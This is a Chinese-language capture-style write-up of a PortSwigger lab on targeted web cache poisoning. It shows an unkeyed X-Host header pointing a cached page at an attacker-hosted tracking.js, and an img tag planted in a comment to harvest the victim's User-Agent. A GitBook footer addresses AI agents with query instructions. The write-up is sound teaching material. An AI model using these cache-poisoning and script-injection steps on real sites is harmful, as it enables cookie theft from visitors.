> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# 通过未知头进行定向缓存投毒

通过未知头进行定向缓存投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 使用未知请求头的定向 Web 缓存投毒

使用可执行的响应污染缓存 `alert(document.cookie)` 在访客的浏览器中， **但仅对部分用户** 对应于受害者。

#### 初始观察

* 请求/响应被拦截。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58f4a77eb78f7702df7eb267ae4277ae0bd25553%2F%7B796A221C-7A49-4DED-ABF1-B535279255B9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用 **Param Miner** 扩展程序，我们开始检测可利用的请求头

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-034df2273d835ab6eefc639af7e3fdf306a74dff%2F%7BDCB734EE-B795-48BF-ABDD-93D7A1CD52E9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 该工具揭示了一个\*\*请求头

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-869700917e4a7fca6cba282c88911cbb240cf331%2F%7BD8BCAADE-DDBE-48EE-A7EB-BA812DC6BD12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

如果 `X-Host: test.com` 被发送后，该值会被重新注入到响应中（在 `src`).

```http
X-Host: test.com
```

#### 载荷实现

1. 在 \*\*Exploit Server\*\* 上，我们创建一个资源 **路径/标题为**:

* `/resources/js/tracking.js`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ac85188fe5c660bd335833fe415dfd2cfafaed1%2F%7B411AFDCB-B42C-4972-B068-D7461D9E1A1E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

文件内容：

```javascript
alert(document.cookie)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8adaef377c635cf385d444390763ba35df8a267%2F%7BFDD754D4-AA57-4933-8D7B-9D7635E6D4D4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 针对 X-Host 的缓存投毒

* 返回的请求包含：

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-789a117f77c20c66bc352d5d1b522a9f677d14f2%2F%7BA7E4C6DA-A199-42FA-8D14-48CA40B0F641%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

然后页面会加载 `tracking.js` 来自攻击服务器，从而触发警报。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76b6ec4da5861ffbe9a8108a41e294cb87caa07a%2F%7B0B1758E4-1C9B-4776-AAF9-3FA9536B3E75%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 针对受害者的 User-Agent

* 我们注意到响应会根据 `User-Agent` （通过 `Vary`），因此要影响受害者，我们必须 **知道受害者的 User-Agent**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bbfa6ed3038474a9dec3aaa6a8728f9d07444288%2F%7BE82E8BD5-9468-4135-B5EA-408993403F6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

发布一条评论，强制向攻击服务器发出请求：

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eafd0dbe7267509d8c341e8a03988befe28370d8%2F%7B5D53AD8C-ED0E-46C5-967F-2CB20D800A65%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

在攻击服务器的日志中，恢复出受害者的 User Agent：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1dd0f94350a3097171101a2d3c1dfdf6010dfd9c%2F%7BB08A4A37-EF7A-4998-8BE6-B981F7FA5DE3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
